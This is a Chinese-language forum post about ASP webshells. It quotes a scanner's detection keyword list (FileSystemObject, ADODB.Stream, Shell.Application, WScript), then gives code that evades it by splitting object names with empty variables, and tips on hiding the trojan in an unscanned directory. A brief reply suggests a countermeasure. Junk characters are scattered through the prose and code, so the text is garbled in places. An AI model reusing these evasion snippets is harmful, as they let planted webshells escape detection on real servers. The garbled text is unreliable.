从容应对ASP木马追捕

韩冰

网上盛传ASP木马追捕,据说有位叫blueeyes的大侠编制了一ASP代码检查你的网站中是否含有可疑ASP..

. e, b' } ~9 z/ P; c

(ASP木马) 你看 : 　　　if instr(filetxt,"scripting.filesystemobject")>0 then fso = yes else fso = no 6 o4 e, M* s p q6 H4 L　　　if fso = yes then $ k, a/ @; F \7 m7 j　　　　　　if instr(filetxt,"deletefolder")>0 or instr(filetxt,"delete")>0 then del =yes else del = no , y* V" n. [; Z& ^　　　　　　if instr(filetxt,"opentextfile")>0 or instr(filetxt,"createtextfile")>0 or instr(filetxt,"openastextstream")>0 then create =yes else create = no & C. }7 a1 ~" d5 U3 L0 f7 J& T　　　　　　if instr(filetxt,"move")>0 then mov = yes else mov = no : G; y! O: M6 d4 j. ~　　　end if 　　　if instr(filetxt,"adodb.stream")>0 then stream = yes else stream = no 2 ]' b4 k% K: ]+ d4 }4 J+ {　　　if instr(filetxt,"shell.application")>0 then shell = yes else shell = no 　　　if instr(filetxt,"wscript")>0 then ws = yes else ws = no 　　　if instr(filetxt,"xmlhttp")>0 then xmlhttp =yes else xmlhttp = no ' E1 Q/ F( L A. Q: o5 k$ q　　　if instr(filetxt,"vbscript.encode")> 0 or instr(filetxt,"javascript.encode")> 0 then encode = yes else encode = no 　　　filetxt = "" 呵呵,厉害!!! ' k- Y) X2 `5 N3 o3 H咱们的饭碗真的要被砸了吗? 道高一尺;魔高一丈;看我的! 它不是检查创建对象里的字符串吗?好!我来加个空值的变量:

; v0 ~. ?3 Z7 @: F+ ]5 H8 J

set im=server.CreateObject("Scr"&b&"ipting.Dictionary") 9 W/ S2 k6 @! K" y* D( rset lP=server.CreateObject("Ado"&l&"db.Stream") ; o. b \- R: g1 z( Aset fB=Server.CreateObject("Scr"&u&"ipting.FileSystemObject") 9 J M% `' F' y5 Y: Q* gSet tN=Server.CreateObject("WSC"&e&"RIPT.NETWORK") set sa=server.createobject("she"&e&"ll.application") set TV=server.createobject("WSC"&y&"RIPT.shell")

) l4 W' F* h8 r1 u* x

哈哈;刚刚加进一只眼我们可爱的蓝眼睛就视而不见啦! # J, W4 Q# A- u$ }( O别忘了:我们加的是空值变量,而空值变量的名字在不违反ASP规则的前提下是可以随意起名字的 ) G# k7 Y1 {8 s" v* j中文英文;呵呵万国文字.蓝眼睛视力再好也是睁眼瞎耶 BTW:其实把马放在我们那个小秘密里说的目录里蓝眼睛连哪个目录都看不见更别说看马里的代码了 让蓝眼睛望马兴叹吧!!!....over

ilikenba

是不是可以找到CreateObject，然后将他的括号里面的东西付给一个变量运行后再判断！